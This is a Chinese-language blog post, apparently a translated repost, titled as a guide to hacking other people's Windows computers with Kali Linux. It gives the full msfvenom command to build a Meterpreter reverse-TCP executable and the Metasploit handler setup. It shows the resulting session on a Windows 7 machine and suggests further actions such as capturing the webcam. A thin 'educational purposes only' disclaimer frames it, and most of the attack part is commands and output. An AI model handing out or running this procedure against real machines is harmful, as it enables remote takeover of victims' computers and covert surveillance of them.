kali linux 黑别人电脑,如何使用 Kali Linux 黑掉 Windows

Kali Linux 派生自 Debian Linux,主要用于渗透测试,拥有超过 300 个的预安装好的渗透测试工具。Metasploit 项目中 Metasploit 框架支持 Kali Linux 平台,Metasploit 是一个用于开发和执行安全利用代码(security exploit)的工具。让我们来使用 Kali Linux 来攻破 Windows 吧。请注意,我写这篇文章只是出于教育目的哦——一切因此带来的后果和本文作者、译者无关。

源机器详情

Kali Linuxroot@kali:/# uname -aLinux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linuxroot@kali:/#

用做攻击对象的目标机器:Windows 7 Ultimate SP1

步骤 1:创建 Payload 程序

Payload 是一个类似于病毒或者木马的程序,可以运行在远程目标上 —— 为了黑掉那台机器。可以通过以下命令来创建 Payload(program.exe),以便能使用 Kali Linux 黑掉 Windows。root@kali:/# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.128 LPORT=4444 --format=exe -o /root/program.exeNo platform was selected, choosing Msf::Module::Platform::Windows from the payloadNo Arch selected, selecting Arch: x86 from the payloadNo encoder or badchars specified, outputting raw payload

Payload size: 333 bytes

Final size of exe file: 73802 bytes

Saved as: /root/program.exe

root@kali:/# ls -la /root/program.exe

-rw-r--r-- 1 root root 73802 Jan 26 00:46 /root/program.exe

通过 ls 命令,我们可以确认 Payload 程序是否成功生成在指定的位置。

步骤 2:运行 mfsconsole 命令启动 msf 命令窗口root@kali:# msfconsole

.,,.                  .

.\$$$$$L..,,==aaccaacc%#s$b.       d8,    d8P

d8P        #$$$$$$$$$$$$$$$$$$$$$$$$$$$b.    `BP  d888888p

d888888P      '7$$$$\""""''^^`` .7$$$|D*"'```         ?88'

d8bd8b.d8p d8888b ?88' d888b8b            _.os#$|8*"`   d8P       ?8b  88P

88P`?P'?P d8b_,dP 88P d8P' ?88       .oaS###S*"`       d8P d8888b $whi?88b 88b

d88  d8 ?8 88b     88b 88b  ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b

d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"`    `?88'  ?88 ?88 88b  d88 d88

.a#$$$$$$"`          88b  d8P  88b`?8888P'

,s$$$$$$$"`             888888P'   88n      _.,,,ass;:

.a$$$$$$$P`               d88P'    .,.ass%#S$$$$$$$$$$$$$$'

.a$###$$$P`           _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'

,a$$###$$P`  _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'

.a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'_______________________________________________________________   ,&$$$$$$'_____

ll&&$$$$'

.;;lll&&&&'

...;;lllll&'

......;;;llll;;;....

` ......;;;;... .  .

Taking notes in notepad? Have Metasploit Pro track & report

your progress and findings -- learn more on http://rapid7.com/metasploit

=[ metasploit v4.12.22-dev                         ]

+ -- --=[ 1577 exploits - 906 auxiliary - 272 post        ]

+ -- --=[ 455 payloads - 39 encoders - 8 nops             ]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >

步骤 3:进行漏洞利用的细节4444 端口:你可以按照自己的想法来选择使用哪个端口

LHOST IP:表示 Kali Linux 机器的 IP,这里是 192.168.189.128。 使用如下命令来查看你的 Kali Linux 机器的 IP。root@kali:/# ip r l

192.168.189.0/24 dev eth0  proto kernel  scope link  src 192.168.189.128  metric 100

root@kali:/#

现在在 msf 命令窗口使用 use exploit/multi/handler 命令,如下:msf > use exploit/multi/handlermsf exploit(handler) >

然后在接下来的命令窗口中使用命令 set payload windows/meterpreter/reverse_tcp:msf exploit(handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcp

现在使用 LHOST 和 LPORT 来设置本地 IP 和本地端口,如下:msf exploit(handler) > set lhost 192.168.189.128lhost => 192.168.189.128msf exploit(handler) > set lport 4444lport => 4444

最后使用 exploit 命令。msf exploit(handler) > exploit[*] Started reverse TCP handler on 192.168.189.128:4444[*] Starting the payload handler...

现在你需要在 Windows 上运行 program.exe,一旦它在目标机器上执行,你就可以建立一个 meterpreter 会话。输入 sysinfo 就可以得到这台被黑掉的 Windows 机器的详情。msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.189.128:4444

[*] Starting the payload handler...

[*] Sending stage (957999 bytes) to 192.168.189.1

[*] Meterpreter session 1 opened (192.168.189.128:4444 -> 192.168.189.1:53091) at 2017-01-26 00:51:31 +0000

meterpreter > sysinfo

Computer        : MANN-PC

OS              : Windows 7 (Build 7601, Service Pack 1).

Architecture    : x64 (Current Process is WOW64)System Language : en_IN

Domain          : WORKGROUP

Logged On Users : 2

Meterpreter     : x86/win32

一旦你得到了这些详细信息,就可以做更多的漏洞利用,或者通过 help 命令获取更多信息,以便列出你可以黑掉该系统的所有选项,比如 webcam_snap 命令获取网络摄像头,同样你还可以使用其他更多的可用选项。祝你入侵愉快!!!! _

译者简介:

GHLandy —— 划不完粉腮柳眉泣别离。

译文出处:https://www.zcfy.cc/article/how-to-hack-windows-with-kali-linux

  • 6
    点赞
  • 83
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值